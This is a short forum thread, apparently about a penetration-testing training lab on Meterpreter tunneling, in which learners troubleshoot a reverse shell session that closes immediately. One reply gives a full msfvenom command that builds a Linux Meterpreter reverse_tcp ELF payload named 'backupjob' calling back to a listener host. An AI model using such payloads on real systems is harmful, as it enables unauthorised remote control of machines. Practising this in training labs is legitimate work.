PIVOTING, TUNNELING, AND PORT FORWARDING - Meterpreter Tunneling & Port Forwarding

Hello all, after reading through the Meterpreter Tunneling & Port Forwarding section of PIVOTING, TUNNELING, AND PORT FORWARDING, I’m having issues getting a shell back on the first part where you create the reverse shell file via msfvenom and set up a listener via msfconsole. When I execute the reverse shell elf file, my listener just brings back “Command shell session 1 closed”. anyone else running into this issue? Thanks :slight_smile:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.15.157 -f elf -o backupjob LPORT=8080

dont forget set the payload into linux/x64/meterpreter/reverse_tcp :smiley:

I’m experiencing the same problem, did you find any solution? Changing the payload in msfconsole doesn’t seem to help

Just set up everything again as instructed and it started working, so, problem solved :slight_smile:

thats great!